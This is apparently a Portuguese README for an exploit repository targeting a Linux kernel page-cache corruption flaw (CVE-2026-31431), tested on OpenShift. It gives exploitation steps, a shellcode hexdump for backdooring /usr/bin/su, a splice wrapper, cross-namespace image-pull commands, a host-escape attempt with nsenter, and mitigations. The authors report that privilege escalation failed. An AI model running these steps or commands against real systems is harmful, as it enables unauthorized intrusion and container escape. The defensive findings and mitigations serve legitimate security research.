### A partir de um Arquivo Local```bash
python3 exploit.py
su

**Verificação do Page Cache (confirma corrupção):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

**Conclusão:** A corrupção do cache de páginas é bem-sucedida, mas a escalada de privilégios falha.

## Detalhes Técnicos

### Vulnerabilidade

A implementação de `authencesn` (Criptografia Autenticada com Dados Associados - Número de Sequência Estendido) do kernel Linux apresenta uma falha no tratamento de operações in-place. Ao processar operações AEAD submetidas por meio de um socket AF_ALG, uma página do cache de páginas pode acabar na lista de dispersão (scatterlist) de destino gravável do kernel.

### Técnica de Exploração

1. **Criar socket AF_ALG** com `authencesn(hmac(sha256),cbc(aes))`
2. **Configurar parâmetros AEAD** (chave, authsize)
3. **Abrir binário setuid alvo** (ex.: `/usr/bin/su`)
4. **Usar splice()** para colocar o binário no cache de páginas
5. **Acionar operação AEAD in-place** causando gravação no cache de páginas
6. **Gravar shellcode** 4 bytes por vez
7. **Executar binário modificado** para obter root

### Shellcode

O exploit usa um shellcode de 160 bytes que modifica o `/usr/bin/su` para:
- Ignorar a autenticação por senha
- Conceder acesso a shell root
- Manter funcionalidade normal para usuários sem privilégios

## Compatibilidade com Python 3.9

Python 3.9 e versões anteriores não possuem `os.splice()` na biblioteca padrão. Este exploit inclui uma implementação baseada em ctypes:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

### Ambiente de Teste 2: Cluster OpenShift Novo (Teste de Verificação)

**Cluster:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Configuração do Nó:**
- Kernel: 5.14.0-570.96.1.el9_6.x86_64 (idêntico ao Teste 1)
- OpenShift: 4.20.16  
- SCC: restricted-v2 (verificado)
- UID: 1000810000 (namespace de usuário)
- Capabilities: 0x0000000000000000 (ZERO)

**Resultados do Teste:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

Resultado: ✅ **Escape de contêiner** - modifica o cache de páginas do host (Dispositivo 33, Inode 4288)

**Cenário B: SCC restricted-v2 (sem hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

### Fase 1: Bypass de Isolamento de Namespace

**Vulnerabilidade:** O registry interno do OpenShift permite pulls de imagens entre namespaces sem a devida aplicação de RBAC.

**Exploração:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications

# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: attack-demo
  namespace: user-srickerd
spec:
  containers:
  - name: stolen-tools
    image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
    command: ["sleep", "3600"]
EOF

oc apply -f attack-demo.yaml

**Resultado:**```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
    Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...

**Detalhes do Sistema Operacional do Contêiner:**```
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)

**Oportunidades de Movimento Lateral:**
- ✅ Acesso total à internet (download de ferramentas, comunicação C2, exfiltração)
- ✅ Acesso à API interna (enumerar recursos do cluster)
- ✅ Acesso ao registry interno (ataques de envenenamento de imagens)
- ✅ Varredura entre nós via rede de pods

### Técnicas de Escape de Host Bloqueadas

Estas técnicas foram tentadas, mas bloqueadas pelos controles de segurança do OpenShift:

**1. nsenter (o namespace de usuário impede)**```bash
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# Error: reassociate to namespace 'ns/ipc' failed: Operation not permitted

**3. Carregamento de Módulos do Kernel (Sem capabilities + endurecimento do RHCOS)**
- Sem binários `insmod`, `modprobe`, `kmod` no RHCOS
- `/lib/modules` está vazio (SO otimizado para contêineres)
- `CAP_SYS_MODULE` não está disponível
- `/proc/sys/kernel/modprobe` montado somente leitura

**4. cgroup release_agent (Montado somente leitura)**```bash
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec)

### O Que Realmente Alcançámos

✅ **Bypass de Isolamento de Namespace**
- Pull de imagens entre namespaces a partir do registry interno
- Acesso a imagens de containers privilegiados (openshift/cli)

✅ **Corrupção de Page Cache no Container**
- Modificação do page cache de `/usr/bin/su` do container via CVE-2026-31431
- Injeção de shellcode de 160 bytes confirmada (visível em hexdump)
- A corrupção afeta operações de LEITURA em ficheiros do container

✅ **Acesso à Rede a partir do Pod**
- Conectividade total à internet (exfiltração, C2, download de ferramentas)
- Acesso ao servidor de API interno (limitado por RBAC)
- Acesso ao registry interno (potencial de envenenamento de imagens)
- Scanning entre pods via rede de pods

❌ **Escalação de Privilégios - FALHOU**
- Page cache corrompido mas SEM acesso root obtido
- UID permanece inalterado (UID de user namespace ~1000000+)
- Não é possível executar operações privilegiadas
- Sem acesso a /etc/shadow ou outros ficheiros restritos

❌ **Acesso ao Filesystem do Host - FALHOU**
- `/proc/1/root` aponta para a raiz do **container**, NÃO do host
- Sem acesso real ao filesystem do nó worker do OpenShift
- Scripts implementados no `/tmp` do container, não no `/tmp` do host
- Isolamento de Device/Inode impede acesso ao page cache do host

❌ **Escape Completo do Host - BLOQUEADO**
- Isolamento de user namespace eficaz
- Zero capabilities impedem acesso via nsenter/chroot/host
- SCC bloqueia criação de pods privilegiados
- Hardening do RHCOS impede carregamento de módulos
- restricted-v2 impede escape de containers

### Avaliação de Segurança do OpenShift

**Controlos que Funcionaram ✅**
- Security Context Constraints (SCC) - Impediu escape de containers
- User Namespaces - Isolou o page cache para o overlay do container
- Zero Capabilities - Impediu acesso ao host apesar do exploit de kernel
- Aplicação de SELinux - Isolamento de containers mantido
- /proc/sys só de leitura - Bloqueou tentativas de manipulação do kernel
- Hardening do RHCOS - Sem capacidade de carregamento de módulos

**Controlos que Funcionaram Parcialmente ⚠️**
- Seccomp RuntimeDefault - Ativo mas permite sockets AF_ALG
- Remoção de Capabilities - Eficaz mas não impede corrupção de page cache

**Controlos que Falharam ❌**
- RBAC de Namespace - Pull de imagens entre namespaces permitido
- Proteção do Kernel - Interface AF_ALG acessível a partir de containers
- Filtragem de Syscalls - splice() não restringido pelo seccomp padrão

**Avaliação Geral:**
Embora o CVE-2026-31431 seja uma vulnerabilidade real de kernel, a abordagem de defesa em profundidade do OpenShift (SCC + user namespaces + remoção de capabilities + isolamento de filesystem) impediu uma exploração significativa. O exploit corrompe o page cache mas NÃO alcança escalação de privilégios nem escape de containers a partir de pods restricted-v2.

### Recomendações para o OpenShift

**1. Bloquear Sockets AF_ALG**```yaml
securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: profiles/no-af-alg.json

**3. Perfil Seccomp Aprimorado**
Bloqueie syscalls perigosas:
- `socket(AF_ALG, ...)` - Família 38
- Restrinja `splice()` a descritores de arquivo confiáveis
- Bloqueie `init_module`, `finit_module` se ainda não estiverem bloqueados

**4. Monitoramento em Tempo de Execução**
Alerta sobre:
- Criação de socket AF_ALG em contêineres
- Pulls de imagens entre namespaces
- Padrões suspeitos de syscall `splice()`
- Indicadores de comprometimento de contêiner (processos root inesperados)

### Documentação Completa do Ataque

Para documentação completa da cadeia de ataque, incluindo:
- Linha do tempo da exploração
- Mapeamentos MITRE ATT&CK
- Análise técnica detalhada
- Todos os scripts de reconhecimento

Consulte:
- **[attacks/README.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/attacks/README.md)** - Análise detalhada do que funcionou vs. o que não funcionou
- **[docs/openshift-attack-chain.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/docs/openshift-attack-chain.md)** - Documentação original (contém erros; consulte attacks/README.md para correções)

## Mitigações

### Imediatas```bash
# Blacklist the vulnerable module
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead

### Patch do Kernel

Aplique os patches do fornecedor:
- Red Hat: Monitore https://access.redhat.com/security/cve/cve-2026-31431
- Ubuntu: `apt update && apt upgrade linux-image-*`
- Upstream: Kernel 6.x+ com authencesn revertido para operações fora do local

## Perguntas Frequentes

### P: Este exploit me dá acesso root?

**R:** NÃO - Com base em testes extensivos em kernels RHEL 9.6 (5.14.0-570.96.1), o exploit corrompe com sucesso o cache de páginas do kernel, mas NÃO alcança escalonamento de privilégios. O UID permanece inalterado após executar o binário com backdoor.

### P: Posso escapar de um contêiner Kubernetes/OpenShift restrito?

**R:** NÃO (com SCC restricted-v2) - A corrupção do cache de páginas é isolada ao sistema de arquivos overlay do contêiner. A fuga de contêiner requer acesso a recursos compartilhados do host via hostPath ou volumes semelhantes. O SCC restricted-v2 impede efetivamente a fuga ao bloquear o acesso a recursos do host.

### P: Por que o exploit afirma "root", mas os testes mostram que não funciona?

**R:** O código do exploit foi escrito com base na divulgação do CVE e em análise teórica. Nossos testes no mundo real em kernels RHEL 9.6 revelaram:
- A corrupção do cache de páginas funciona ✅ (comprovada via hexdump)
- A execução de código a partir do cache corrompido NÃO funciona ❌ (UID inalterado)

Isso pode ser devido a:
- Diferenças de versão do kernel (o RHEL 9.6 pode ter proteções)
- Aplicação da proteção de memória W^X
- Caminhos de código diferentes para execução vs. leitura de memória

### P: Funciona em TODOS os kernels Linux?

**R:** DESCONHECIDO - Os testes foram limitados a:
- RHEL CoreOS 9.6 (kernel 5.14.0-570.96.1.el9_6.x86_64)
- Nós de trabalho OpenShift 4.20.16

O comportamento em outras distribuições/versões de kernel NÃO foi verificado. As condições originais da pesquisa do CVE podem diferir.

### P: Devo ainda assim corrigir meus sistemas?

**R:** SIM - Absolutamente. Mesmo que o escalonamento de privilégios não tenha sido alcançado:

1. A vulnerabilidade do kernel É real (corrupção do cache de páginas confirmada)
2. O comportamento PODE diferir em outras versões de kernel
3. Com volumes hostPath, a fuga de contêiner É possível
4. A defesa em profundidade exige a eliminação de todas as vulnerabilidades
5. Pesquisas futuras podem descobrir maneiras de alcançar a execução de código

A correção do kernel é obrigatória para a segurança.

### P: O que você realmente comprovou em seus testes?

**R:** Nossos testes abrangentes em 2 clusters OpenShift independentes comprovaram:

✅ **Confirmado:**
- A vulnerabilidade do kernel CVE-2026-31431 é explorável
- O cache de páginas pode ser corrompido a partir de contêineres sem privilégios (zero capabilities)
- Interface AF_ALG acessível apesar do SCC restricted-v2
- A injeção de shellcode é bem-sucedida (visível no hexdump)

❌ **NÃO Funcionou:**
- Escalonamento de privilégios (UID inalterado)
- Execução de código a partir do cache de páginas corrompido
- Fuga de contêiner de pods restricted-v2
- Acesso ao sistema de arquivos do host sem hostPath

🛡️ **Defesa em Profundidade Eficaz:**
- SCC + namespaces de usuário + descarte de capabilities impediram a exploração
- Múltiplas camadas de segurança limitaram o raio de explosão
- O isolamento do contêiner se manteve apesar da vulnerabilidade do kernel

## Aviso de Segurança

Este repositório documenta uma vulnerabilidade do kernel para:
- ✅ Testes e pesquisas de segurança autorizados
- ✅ Validação e análise de vulnerabilidades
- ✅ Conscientização e educação em segurança
- ✅ Desenvolvimento de medidas defensivas

**Descobertas baseadas em:**
- Testes controlados em sistemas autorizados
- Múltiplos ambientes de cluster independentes
- Verificação abrangente e testes de reprodutibilidade

**NÃO use em sistemas sem autorização explícita.**

## Referências

- **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- **Divulgação:** https://copy.fail
- **Patch do Kernel:** Commit do kernel Linux (1º de abril de 2026)
- **Advisory Red Hat:** https://access.redhat.com/security/cve/cve-2026-31431

## Créditos

- **Descoberta do CVE:** Taeyang Lee (Theori)
- **Análise Original:** Xint Code Research Team
- **Implementação do Exploit:** Sean Rickerd
- **Testes e Validação Abrangentes:** Sean Rickerd
  - 2 clusters OpenShift 4.20.16 independentes
  - Kernel RHEL CoreOS 9.6 5.14.0-570.96.1
  - Comportamento real vs. reivindicado documentado
  - Eficácia do SCC restricted-v2 verificada

## Licença

Apenas para testes e pesquisas de segurança autorizados. Use por sua conta e risco.

---

**Status do Repositório:** Atualizado com resultados de testes no mundo real (1º de maio de 2026)  
**Testes:** Concluídos em 2 clusters OpenShift independentes  
**Descoberta Principal:** Corrupção do cache de páginas confirmada, escalonamento de privilégios NÃO alcançado  
**Recomendação:** Corrija o kernel apesar da exploração prática limitada